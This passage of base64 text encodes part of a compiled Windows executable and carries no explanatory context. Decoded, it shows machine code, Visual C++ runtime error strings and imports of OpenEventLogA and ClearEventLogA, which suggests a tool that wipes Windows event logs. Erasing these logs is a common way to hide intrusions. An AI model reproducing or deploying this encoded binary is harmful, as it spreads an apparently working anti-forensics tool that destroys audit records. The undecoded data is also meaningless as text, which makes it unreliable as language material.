4dVFBQ0xEVlJ1UUFDTFFCQ0RwSWpFQUFBQUFLRmNia0FBDQppMEFRL2toRG9WeHVRQUNMU0JDQWVVTUFkUW1EWUFUK29WeHVRQUNEZUFqL2RXeFRhZ0QvY0F6LzE2RmNia0FBLzNBUWFnRC9OWWh3DQpRQUQvRldoUVFBQ2hZRzVBQUlzVlpHNUFBSTBFZ01IZ0FvdklvVnh1UUFBcnlJMU1FZXhSalVnVVVWRG96d3dBQUl0RkNJUEVEUDhODQpZRzVBQURzRlhHNUFBSFlEZytnVWl3MWtia0FBaVExWWJrQUE2d09MUlFpalhHNUFBSWsxVkc1QUFGOWVXOG5EVll2c2crd1VvV0J1DQpRQUNMRldSdVFBQlRWbzBFZ0ZlTlBJS0xSUWlKZmZ5TlNCZUQ0ZkNKVGZEQitRUkpnL2tnZlE2RHp2L1Q3b05OK1ArSmRmVHJFSVBCDQo0SVBJL3pQMjAraUpkZlNKUmZpaFdHNUFBSXZZTzkrSlhRaHpHWXRMQklzN0kwMzRJLzRMejNVTGc4TVVPMTM4aVYwSWN1YzdYZngxDQplWXZhTzlpSlhRaHpGWXRMQklzN0kwMzRJLzRMejNVRmc4TVU2K1k3MkhWWk8xMzhjeEdEZXdnQWRRaUR3eFNKWFFqcjdUdGQvSFVtDQppOW83MklsZENITU5nM3NJQUhVRmc4TVU2KzQ3MkhVTzZEZ0NBQUNMMklYYmlWMElkQlJUNk5vQ0FBQlppMHNRaVFHTFF4Q0RPUDkxDQpCelBBNlE4Q0FBQ0pIVmh1UUFDTFF4Q0xFSVA2LzRsVi9IUVVpNHlReEFBQUFJdDhrRVFqVGZnai9ndlBkVGVMa01RQUFBQ0xjRVFqDQpWZmdqZGZTRFpmd0FqVWhFQzlhTGRmUjFGNHVSaEFBQUFQOUYvQ05WK0lQQkJJditJemtMMTNUcGkxWDhpOG96LzJuSkJBSUFBSTJNDQpBVVFCQUFDSlRmU0xUSkJFSTg1MURZdU1rTVFBQUFCcUlDTk4rRitGeVh3RjBlRkg2L2VMVGZTTFZQa0Vpd29yVGZDTDhZbE4rTUgrDQpCRTZEL2o5K0Eyby9YanYzRDRRTkFRQUFpMG9FTzBvSWRXR0QveUI5SzdzQUFBQ0FpOC9UNjR0Ti9JMThPQVQzMDRsZDdDTmNpRVNKDQpYSWhFL2c5MU9JdGRDSXRON0NFTDZ6R05UK0M3QUFBQWdOUHJpMDM4alh3NEJJMk1pTVFBQUFEMzB5RVovZytKWGV4MUM0dGRDSXRODQo3Q0ZMQk9zRGkxMElpMG9JaTNvRWczMzRBSWw1Qkl0S0JJdDZDSWw1Q0ErRWxBQUFBSXROOUl0ODhRU05EUEdKZWdTSlNnaUpVUVNMDQpTZ1NKVVFpTFNnUTdTZ2gxWklwTUJnU0QvaUNJVFF0OUtmN0JnSDBMQUloTUJnUjFDNzhBQUFDQWk4N1Q3d2s3dndBQUFJQ0x6dFB2DQppMDM4Q1h5SVJPc3Yvc0dBZlFzQWlFd0dCSFVOalU3Z3Z3QUFBSURUN3dsN0JJdE4vSTI4aU1RQUFBQ05UdUMrQUFBQWdOUHVDVGVMDQpUZmlGeVhRTGlRcUpUQkg4NndPTFRmaUxkZkFEMFkxT0FZa0tpVXd5L0l0MTlJc09oY21OZVFHSlBuVWFPeDFjYmtBQWRSS0xUZnc3DQpEVlJ1UUFCMUI0TWxYRzVBQUFDTFRmeUpDSTFDQkY5ZVc4bkRvV0J1UUFDTERWQnVRQUJXVnpQL084RjFNSTFFaVZEQjRBSlEvelZrDQpia0FBVi84MWlIQkFBUDhWaUZCQUFEdkhkR0dEQlZCdVFBQVFvMlJ1UUFDaFlHNUFBSXNOWkc1QUFHakVRUUFBYWdpTkJJRC9OWWh3DQpRQUNOTklIL0ZYUlFRQUE3eDRsR0VIUXFhZ1JvQUNBQUFHZ0FBQkFBVi84VmhGQkFBRHZIaVVZTWRSVC9kaEJYL3pXSWNFQUEveFZvDQpVRUFBTThEckY0Tk9DUCtKUG9sK0JQOEZZRzVBQUl0R0VJTUkvNHZHWDE3RFZZdnNVWXROQ0ZOV1Y0dHhFSXRCQ0RQYmhjQjhCZEhnDQpRK3YzaThOcVAybkFCQUlBQUZxTmhEQkVBUUFBaVVYOGlVQUlpVUFFZzhBSVNuWDBpL3RxQk1IbkR3TjVER2dBRUFBQWFBQ0FBQUJYDQoveFdFVUVBQWhjQjFDSVBJLyttVEFBQUFqWmNBY0FBQU8vcDNQSTFIRUlOSStQK0RpT3dQQUFEL2pZajhEd0FBeDBEODhBOEFBSWtJDQpqWWo4Ny8vL2lVZ0V4NERvRHdBQThBOEFBQVVBRUFBQWpVandPOHAyeDR0Ri9JMVBEQVg0QVFBQWFnRmZpVWdFaVVFSWpVb01pVWdJDQppVUVFZzJTZVJBQ0p2SjdFQUFBQWlrWkRpc2ord1lUQWkwVUlpRTVEZFFNSmVBUzZBQUFBZ0l2TDArcjMwaUZRQ0l2RFgxNWJ5Y05UDQpNOXM1SGV4clFBQldWM1ZDYUdCVVFBRC9GWkJRUUFDTCtEdjdkR2VMTll4UVFBQm9WRlJBQUZmLzFvWEFvK3hyUUFCMFVHaEVWRUFBDQpWLy9XYURCVVFBQlhvL0JyUUFELzFxUDBhMEFBb2ZCclFBQ0Z3SFFXLzlDTDJJWGJkQTZoOUd0QUFJWEFkQVZULzlDTDJQOTBKQmovDQpkQ1FZLzNRa0dGUC9GZXhyUUFCZlhsdkRNOERyK0tIOGEwQUFoY0IwRC85MEpBVC8wSVhBV1hRRWFnRll3elBBdzR0RUpBUTdCYUJ4DQpRQUJ6UFl2SWk5REIrUVdENGgrTERJMmdjRUFBOWtUUkJBRjBKVkRvd3dvQUFGbFEveFdVVUVBQWhjQjFDUDhWRUZCQUFPc0NNOENGDQp3SFFTbzNocVFBREhCWFJxUUFBSkFBQUFnOGovdzFXTDdJSHNGQVFBQUl0TkNGTTdEYUJ4UUFCV1Z3K0RlUUVBQUl2QmkvSEIrQVdEDQo1aCtOSElXZ2NFQUF3ZVlEaXdPS1JEQUVxQUVQaEZjQkFBQXovemw5RUlsOStJbDk4SFVITThEcFZ3RUFBS2dnZEF4cUFsZFI2RmdCDQpBQUNEeEF5TEF3UEc5a0FFZ0ErRXdRQUFBSXRGRERsOUVJbEYvSWw5Q0ErRzV3QUFBSTJGN1B2Ly80dE4vQ3RORER0TkVITXBpMDM4DQovMFg4aWdtQStRcDFCLzlGOE1ZQURVQ0lDRUNMeUkyVjdQdi8veXZLZ2ZrQUJBQUFmTXlMK0kyRjdQdi8veXY0alVYMGFnQlFqWVhzDQorLy8vVjFDTEEvODBNUDhWY0ZCQUFJWEFkRU9MUmZRQlJmZzd4M3dMaTBYOEswVU1PMFVRY29vei80dEYrRHZIRDRXTEFBQUFPWDBJDQpkRjlxQlZnNVJRaDFUTWNGZEdwQUFBa0FBQUNqZUdwQUFPbUFBQUFBL3hVUVVFQUFpVVVJNjhlTlRmUlhVZjkxRVA5MURQOHcveFZ3DQpVRUFBaGNCMEM0dEY5SWw5Q0lsRitPdW4veFVRVUVBQWlVVUk2NXovZFFqb2Jna0FBRm5yUFlzRDlrUXdCRUIwREl0RkRJQTRHZytFDQp6ZjcvLzhjRmRHcEFBQndBQUFDSlBYaHFRQURyRml0RjhPc1VneVY0YWtBQUFNY0ZkR3BBQUFrQUFBQ0R5UDlmWGx2Sncyb0M2SkRTDQovLzladzR0RUpBUlRPd1dnY1VBQVZsZHpjNHZJaS9EQitRV0Q1aCtOUEkyZ2NFQUF3ZVlEaXcvMlJERUVBWFJXVU9pdUNBQUFnL2ovDQpXWFVNeHdWMGFrQUFDUUFBQU90UC8zUWtHR29BLzNRa0hGRC9GWmhRUUFDTDJJUDcvM1VJL3hVUVVFQUE2d0l6d0lYQWRBbFE2SzBJDQpBQUJaNnlDTEI0QmtNQVQ5alVRd0JJdkQ2eFNESlhocVFBQUF4d1YwYWtBQUNRQUFBSVBJLzE5ZVc4UC9CZFJxUUFCb0FCQUFBT2k3DQo1di8vV1l0TUpBU0Z3SWxCQ0hRTmcwa01DTWRCR0FBUUFBRHJFWU5KREFTTlFSU0pRUWpIUVJnQ0FBQUFpMEVJZzJFRUFJa0J3OHpNDQp6SXRVSkF5TFRDUUVoZEowUnpQQWlrUWtDRmVMK1lQNkJISXQ5OW1ENFFOMENDdlJpQWRIU1hYNmk4akI0QWdEd1l2SXdlQVFBOEdMDQp5b1BpQThIcEFuUUc4NnVGMG5RR2lBZEhTblg2aTBRa0NGL0RpMFFrQk1OV2kzUWtDRmVEei8rTFJneW9RSFFGZzhqLzZ6cW9nM1EwDQpWdWppNXYvL1ZvdjQ2TmNJQUFEL2RoRG9IQWdBQUlQRURJWEFmUVdEei8vckVvdEdISVhBZEF0UTZFL3IvLytEWmh3QVdZdkhnMllNDQpBRjlldzFXTDdHci9hSGhVUUFCb1lDbEFBR1NoQUFBQUFGQmtpU1VBQUFBQWcrd2NVMVpYaVdYb00vODVQU0JzUUFCMVJsZFhhZ0ZiDQpVMmh3VkVBQXZnQUJBQUJXVi84VnBGQkFBSVhBZEFpSkhTQnNRQURySWxkWFUyaHNWRUFBVmxmL0ZhQlFRQUNGd0ErRUlnRUFBTWNGDQpJR3hBQUFJQUFBQTVmUlIrRVA5MUZQOTFFT2llQVFBQVdWbUpSUlNoSUd4QUFJUDRBblVkLzNVYy8zVVkvM1VVLzNVUS8zVU0vM1VJDQoveFdnVUVBQTZkNEFBQUNEK0FFUGhkTUFBQUE1ZlNCMUNLRVliRUFBaVVVZ1YxZi9kUlQvZFJDTFJTVDMyQnZBZytBSVFGRC9kU0QvDQpGWnhRUUFDTDJJbGQ1RHZmRDRTY0FBQUFpWDM4alFRYmc4QURKUHpvNEFjQUFJbGw2SXZFaVVYY2cwMzgvK3NUYWdGWXc0dGw2RFAvDQppWDNjZzAzOC80dGQ1RGw5M0hSbVUvOTEzUDkxRlA5MUVHb0IvM1VnL3hXY1VFQUFoY0IwVFZkWFUvOTEzUDkxRFA5MUNQOFZwRkJBDQpBSXZ3aVhYWU8vZDBNdlpGRFFSMFFEbDlIQStFc2dBQUFEdDFISDhlLzNVYy8zVVlVLzkxM1A5MURQOTFDUDhWcEZCQUFJWEFENFdQDQpBQUFBTThDTlpjaUxUZkJraVEwQUFBQUFYMTVieWNQSFJmd0JBQUFBalFRMmc4QURKUHpvTEFjQUFJbGw2SXZjaVYzZ2cwMzgvK3NTDQphZ0ZZdzR0bDZEUC9NOXVEVGZ6L2kzWFlPOTkwdEZaVC8zWGsvM1hjLzNVTS8zVUkveFdrVUVBQWhjQjBuRGw5SEZkWGRRUlhWK3NHDQovM1VjLzNVWVZsTm9JQUlBQVA5MUlQOFZRRkJBQUl2d08vY1BoSEgvLy8rTHh1bHMvLy8vaTFRa0NJdEVKQVNGMGxhTlN2OTBEWUE0DQpBSFFJUUl2eFNZWDJkZk9BT0FCZWRRVXJSQ1FFdzR2Q3cxV0w3R3IvYUpCVVFBQm9ZQ2xBQUdTaEFBQUFBRkJraVNVQUFBQUFnK3dZDQpVMVpYaVdYb29TUnNRQUF6Mnp2RGRUNk5SZVJRYWdGZVZtaHdWRUFBVnY4VnJGQkFBSVhBZEFTTHh1c2RqVVhrVUZab2JGUkFBRlpUDQoveFdvVUVBQWhjQVBoTTRBQUFCcUFsaWpKR3hBQUlQNEFuVWtpMFVjTzhOMUJhRUliRUFBLzNVVS8zVVEvM1VNLzNVSVVQOFZxRkJBDQpBT21mQUFBQWcvZ0JENFdVQUFBQU9WMFlkUWloR0d4QUFJbEZHRk5ULzNVUS8zVU1pMFVnOTlnYndJUGdDRUJRLzNVWS94V2NVRUFBDQppVVhnTzhOMFk0bGQvSTA4QUl2SGc4QURKUHpvcndVQUFJbGw2SXYwaVhYY1YxTlc2QS84Ly8rRHhBenJDMm9CV01PTFplZ3oyelAyDQpnMDM4L3p2emRDbi9kZUJXLzNVUS8zVU1hZ0gvZFJqL0ZaeFFRQUE3dzNRUS8zVVVVRmIvZFFqL0ZheFFRQURyQWpQQWpXWE1pMDN3DQpaSWtOQUFBQUFGOWVXOG5Eek16TXpNek16TXpNekZXTDdGZFdpM1VNaTAwUWkzMElpOEdMMFFQR08vNTJDRHY0RDRKNEFRQUE5OGNEDQpBQUFBZFJUQjZRS0Q0Z09EK1FoeUtmT2wveVNWMkVwQUFJdkh1Z01BQUFDRDZRUnlESVBnQXdQSS95U0Y4RWxBQVA4a2plaEtRQUNRDQoveVNOYkVwQUFKQUFTa0FBTEVwQUFGQktRQUFqMFlvR2lBZUtSZ0dJUndHS1JnTEI2UUtJUndLRHhnT0R4d09EK1FoeXpQT2wveVNWDQoyRXBBQUkxSkFDUFJpZ2FJQjRwR0FjSHBBb2hIQVlQR0FvUEhBb1A1Q0hLbTg2WC9KSlhZU2tBQWtDUFJpZ2FJQjBiQjZRSkhnL2tJDQpjb3p6cGY4a2xkaEtRQUNOU1FEUFNrQUF2RXBBQUxSS1FBQ3NTa0FBcEVwQUFKeEtRQUNVU2tBQWpFcEFBSXRFanVTSlJJL2tpMFNPDQo2SWxFaitpTFJJN3NpVVNQN0l0RWp2Q0pSSS93aTBTTzlJbEVqL1NMUkk3NGlVU1ArSXRFanZ5SlJJLzhqUVNOQUFBQUFBUHdBL2ovDQpKSlhZU2tBQWkvL29Ta0FBOEVwQUFQeEtRQUFRUzBBQWkwVUlYbC9KdzVDS0JvZ0hpMFVJWGwvSnc1Q0tCb2dIaWtZQmlFY0JpMFVJDQpYbC9KdzQxSkFJb0dpQWVLUmdHSVJ3R0tSZ0tJUndLTFJRaGVYOG5Ea0kxME1meU5mRG44OThjREFBQUFkU1RCNlFLRDRnT0QrUWh5DQpEZjN6cGZ6L0pKVndURUFBaS8vMzJmOGtqU0JNUUFDTlNRQ0x4N29EQUFBQWcva0VjZ3lENEFNcnlQOGtoWGhMUUFEL0pJMXdURUFBDQprSWhMUUFDb1MwQUEwRXRBQUlwR0F5UFJpRWNEVHNIcEFrK0QrUWh5dHYzenBmei9KSlZ3VEVBQWpVa0Fpa1lESTlHSVJ3T0tSZ0xCDQo2UUtJUndLRDdnS0Q3d0tEK1FoeWpQM3pwZnovSkpWd1RFQUFrSXBHQXlQUmlFY0Rpa1lDaUVjQ2lrWUJ3ZWtDaUVjQmcrNERnKzhEDQpnL2tJRDRKYS8vLy8vZk9sL1A4a2xYQk1RQUNOU1FBa1RFQUFMRXhBQURSTVFBQThURUFBUkV4QUFFeE1RQUJVVEVBQVoweEFBSXRFDQpqaHlKUkk4Y2kwU09HSWxFanhpTFJJNFVpVVNQRkl0RWpoQ0pSSThRaTBTT0RJbEVqd3lMUkk0SWlVU1BDSXRFamdTSlJJOEVqUVNODQpBQUFBQUFQd0Evai9KSlZ3VEVBQWkvK0FURUFBaUV4QUFKaE1RQUNzVEVBQWkwVUlYbC9KdzVDS1JnT0lSd09MUlFoZVg4bkRqVWtBDQppa1lEaUVjRGlrWUNpRWNDaTBVSVhsL0p3NUNLUmdPSVJ3T0tSZ0tJUndLS1JnR0lSd0dMUlFoZVg4bkRpMHdrQkZZN0RhQnhRQUJYDQpjMVdMd1l2eHdmZ0ZnK1lmalR5Rm9IQkFBTUhtQTRzSEE4YjJRQVFCZERlRE9QOTBNb005OUdGQUFBRjFIelBBSzhoMEVFbDBDRWwxDQpFMUJxOU9zSVVHcjE2d05RYXZiL0ZiQlFRQUNMQjRNTU1QOHp3T3NVZ3lWNGFrQUFBTWNGZEdwQUFBa0FBQUNEeVA5ZlhzT0xSQ1FFDQpPd1dnY1VBQWN4eUx5SVBnSDhINUJZc01qYUJ3UUFEMlJNRUVBWTBFd1hRRGl3RERneVY0YWtBQUFNY0ZkR3BBQUFrQUFBQ0R5UC9EDQppMHdrQkRQU2lRMTRha0FBdUFCcFFBQTdDSFFnZzhBSVFqMW9ha0FBZlBHRCtSTnlIWVA1SkhjWXh3VjBha0FBRFFBQUFNT0xCTlVFDQphVUFBbzNScVFBRERnZm04QUFBQWNoS0IrY29BQUFESEJYUnFRQUFJQUFBQWRnckhCWFJxUUFBV0FBQUF3MU5WVmxlTGZDUVVPejJnDQpjVUFBRDRPR0FBQUFpOGVMOThINEJZUG1INDBjaGFCd1FBREI1Z09MQS9aRU1BUUJkR2xYNkNYLy8vK0QrUDlaZER5RC93RjBCWVAvDQpBblVXYWdMb0R2Ly8vMm9CaStqb0JmLy8vMWs3eFZsMEhGZm8rZjcvLzFsUS94VzBVRUFBaGNCMUN2OFZFRkJBQUl2bzZ3SXo3VmZvDQpZZjcvLzRzRFdZQmtNQVFBaGUxMENWWG9Cdi8vLzFuckZUUEE2eFNESlhocVFBQUF4d1YwYWtBQUNRQUFBSVBJLzE5ZVhWdkRWb3QwDQpKQWlMUmd5b2czUWRxQWgwR2Y5MkNPaUI0di8vWm9GbURQZjdNOEJaaVFhSlJnaUpSZ1Jldzh6TXpNek16TXpNek16TXpNek16RkU5DQpBQkFBQUkxTUpBaHlGSUhwQUJBQUFDMEFFQUFBaFFFOUFCQUFBSFBzSzhpTHhJVUJpK0dMQ0l0QUJGRER6UDhsYkZCQUFBQUFBQUFBDQpBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBDQpBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBDQpBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBDQpBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBDQpBQUFBQUFBQUFBQUFBQUFBQUFBQUFBRHlWUUFBNEZVQUFOQlZBQUFBQUFBQXNsVUFBS0JWQUFCV1Z3QUFFRllBQUI1V0FBQXlWZ0FBDQpSbFlBQUZoV0FBQm1WZ0FBZ2xZQUFKaFdBQUN5VmdBQXpGWUFBT0pXQUFENlZnQUFGRmNBQUNaWEFBQTJWd0FBUkZjQUFKUlZBQUJrDQpWd0FBY2xjQUFJQlhBQUNNVndBQW1GY0FBS1JYQUFDd1Z3QUF2RmNBQU1aWEFBRFNWd0FBNGxjQUFQQlhBQUFDV0FBQUVsZ0FBQ1pZDQpBQUE0V0FBQVRsZ0FBRjVZQUFCdVdBQUFnRmdBQUpKWUFBQ2lXQUFBQUFBQUFBQUFBQUQvLy8vL3poWkFBT0lXUUFBR0FBQUdBQUVBDQpBQkFBQXdZQUJnSVFCRVZGUlFVRkJRVUZOVEFBVUFBQUFBQWdLRGhRV0FjSUFEY3dNRmRRQndBQUlDQUlBQUFBQUFoZ2FHQmdZR0FBDQpBSEJ3ZUhoNGVBZ0hDQUFBQndBSUNBZ0FBQWdBQ0FBSENBQUFBQ2dBYmdCMUFHd0FiQUFwQUFBQUFBQW9iblZzYkNrQUFISjFiblJwDQpiV1VnWlhKeWIzSWdBQUFOQ2dBQVZFeFBVMU1nWlhKeWIzSU5DZ0FBQUZOSlRrY2daWEp5YjNJTkNnQUFBQUJFVDAxQlNVNGdaWEp5DQpiM0lOQ2dBQVVqWXdNamdOQ2kwZ2RXNWhZbXhsSUhSdklHbHVhWFJwWVd4cGVtVWdhR1ZoY0EwS0FBQUFBRkkyTURJM0RRb3RJRzV2DQpkQ0JsYm05MVoyZ2djM0JoWTJVZ1ptOXlJR3h2ZDJsdklHbHVhWFJwWVd4cGVtRjBhVzl1RFFvQUFBQUFVall3TWpZTkNpMGdibTkwDQpJR1Z1YjNWbmFDQnpjR0ZqWlNCbWIzSWdjM1JrYVc4Z2FXNXBkR2xoYkdsNllYUnBiMjROQ2dBQUFBQlNOakF5TlEwS0xTQndkWEpsDQpJSFpwY25SMVlXd2dablZ1WTNScGIyNGdZMkZzYkEwS0FBQUFVall3TWpRTkNpMGdibTkwSUdWdWIzVm5hQ0J6Y0dGalpTQm1iM0lnDQpYMjl1WlhocGRDOWhkR1Y0YVhRZ2RHRmliR1VOQ2dBQUFBQlNOakF4T1EwS0xTQjFibUZpYkdVZ2RHOGdiM0JsYmlCamIyNXpiMnhsDQpJR1JsZG1salpRMEtBQUFBQUZJMk1ERTREUW90SUhWdVpYaHdaV04wWldRZ2FHVmhjQ0JsY25KdmNnMEtBQUFBQUZJMk1ERTNEUW90DQpJSFZ1Wlhod1pXTjBaV1FnYlhWc2RHbDBhSEpsWVdRZ2JHOWpheUJsY25KdmNnMEtBQUFBQUZJMk1ERTJEUW90SUc1dmRDQmxibTkxDQpaMmdnYzNCaFkyVWdabTl5SUhSb2NtVmhaQ0JrWVhSaERRb0FEUXBoWW01dmNtMWhiQ0J3Y205bmNtRnRJSFJsY20xcGJtRjBhVzl1DQpEUW9BQUFBQVVqWXdNRGtOQ2kwZ2JtOTBJR1Z1YjNWbmFDQnpjR0ZqWlNCbWIzSWdaVzUyYVhKdmJtMWxiblFOQ2dCU05qQXdPQTBLDQpMU0J1YjNRZ1pXNXZkV2RvSUhOd1lXTmxJR1p2Y2lCaGNtZDFiV1Z1ZEhNTkNnQUFBRkkyTURBeURRb3RJR1pzYjJGMGFXNW5JSEJ2DQphVzUwSUc1dmRDQnNiMkZrWldRTkNnQUFBQUJOYVdOeWIzTnZablFnVm1semRXRnNJRU1yS3lCU2RXNTBhVzFsSUV4cFluSmhjbmtBDQpBQUFBQ2dvQUFGSjFiblJwYldVZ1JYSnliM0loQ2dwUWNtOW5jbUZ0T2lBQUFBQXVMaTRBUEhCeWIyZHlZVzBnYm1GdFpTQjFibXR1DQpiM2R1UGdBQVIyVjBUR0Z6ZEVGamRHbDJaVkJ2Y0hWd0FBQkhaWFJCWTNScGRtVlhhVzVrYjNjQVRXVnpjMkZuWlVKdmVFRUFkWE5sDQpjak15TG1Sc2JBQUFBQUFBQUFBQUFBQUFBQUFBLy8vLy8vNUdRQUFDUjBBQS8vLy8vN0pIUUFDMlIwQUEvLy8vL3paSlFBQTZTVUFBDQo2RlFBQUFBQUFBQUFBQUFBd2xVQUFCQlFBQURZVkFBQUFBQUFBQUFBQUFBQ1ZnQUFBRkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBDQpBQUFBOGxVQUFPQlZBQURRVlFBQUFBQUFBTEpWQUFDZ1ZRQUFWbGNBQUJCV0FBQWVWZ0FBTWxZQUFFWldBQUJZVmdBQVpsWUFBSUpXDQpBQUNZVmdBQXNsWUFBTXhXQUFEaVZnQUErbFlBQUJSWEFBQW1Wd0FBTmxjQUFFUlhBQUNVVlFBQVpGY0FBSEpYQUFDQVZ3QUFqRmNBDQpBSmhYQUFDa1Z3QUFzRmNBQUx4WEFBREdWd0FBMGxjQUFPSlhBQUR3VndBQUFsZ0FBQkpZQUFBbVdBQUFPRmdBQUU1WUFBQmVXQUFBDQpibGdBQUlCWUFBQ1NXQUFBb2xnQUFBQUFBQURNQVV4dlkyRnNSbkpsWlFDdkFFWnZjbTFoZEUxbGMzTmhaMlZCQUFBYUFVZGxkRXhoDQpjM1JGY25KdmNnQUFTMFZTVGtWTU16SXVaR3hzQUFBeUFFTnNiM05sUlhabGJuUk1iMmNBTUFCRGJHVmhja1YyWlc1MFRHOW5RUUFBDQpRQUZQY0dWdVJYWmxiblJNYjJkQkFFRkVWa0ZRU1RNeUxtUnNiQUFBZlFCRmVHbDBVSEp2WTJWemN3Q2VBbFJsY20xcGJtRjBaVkJ5DQpiMk5sYzNNQUFQY0FSMlYwUTNWeWNtVnVkRkJ5YjJObGMzTUF5Z0JIWlhSRGIyMXRZVzVrVEdsdVpVRUFkQUZIWlhSV1pYSnphVzl1DQpBQUN0QWxWdWFHRnVaR3hsWkVWNFkyVndkR2x2YmtacGJIUmxjZ0FBSkFGSFpYUk5iMlIxYkdWR2FXeGxUbUZ0WlVFQUFMSUFSbkpsDQpaVVZ1ZG1seWIyNXRaVzUwVTNSeWFXNW5jMEVBc3dCR2NtVmxSVzUyYVhKdmJtMWxiblJUZEhKcGJtZHpWd0RTQWxkcFpHVkRhR0Z5DQpWRzlOZFd4MGFVSjVkR1VBQmdGSFpYUkZiblpwY205dWJXVnVkRk4wY21sdVozTUFDQUZIWlhSRmJuWnBjbTl1YldWdWRGTjBjbWx1DQpaM05YQUFCdEFsTmxkRWhoYm1Sc1pVTnZkVzUwQUFCU0FVZGxkRk4wWkVoaGJtUnNaUUFBRlFGSFpYUkdhV3hsVkhsd1pRQlFBVWRsDQpkRk4wWVhKMGRYQkpibVp2UVFDZEFVaGxZWEJFWlhOMGNtOTVBSnNCU0dWaGNFTnlaV0YwWlFBQXZ3SldhWEowZFdGc1JuSmxaUUNmDQpBVWhsWVhCR2NtVmxBQUF2QWxKMGJGVnVkMmx1WkFEZkFsZHlhWFJsUm1sc1pRQ1pBVWhsWVhCQmJHeHZZd0MvQUVkbGRFTlFTVzVtDQpid0M1QUVkbGRFRkRVQUFBTVFGSFpYUlBSVTFEVUFBQXV3SldhWEowZFdGc1FXeHNiMk1BQUtJQlNHVmhjRkpsUVd4c2IyTUFQZ0ZIDQpaWFJRY205alFXUmtjbVZ6Y3dBQXdnRk1iMkZrVEdsaWNtRnllVUVBQUtvQVJteDFjMmhHYVd4bFFuVm1abVZ5Y3dBQWFnSlRaWFJHDQphV3hsVUc5cGJuUmxjZ0FBNUFGTmRXeDBhVUo1ZEdWVWIxZHBaR1ZEYUdGeUFMOEJURU5OWVhCVGRISnBibWRCQUFEQUFVeERUV0Z3DQpVM1J5YVc1blZ3QUFVd0ZIWlhSVGRISnBibWRVZVhCbFFRQUFWZ0ZIWlhSVGRISnBibWRVZVhCbFZ3QUFmQUpUWlhSVGRHUklZVzVrDQpiR1VBQUJzQVEyeHZjMlZJWVc1a2JHVUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBDQpBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBDQpBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBDQpBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBDQpBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBDQpBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBDQpBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBDQpBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBDQpBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBDQpBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBDQpBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBDQpBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBDQpBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBDQpBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBDQpBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBDQpBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBDQpBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBDQpBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBDQpBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB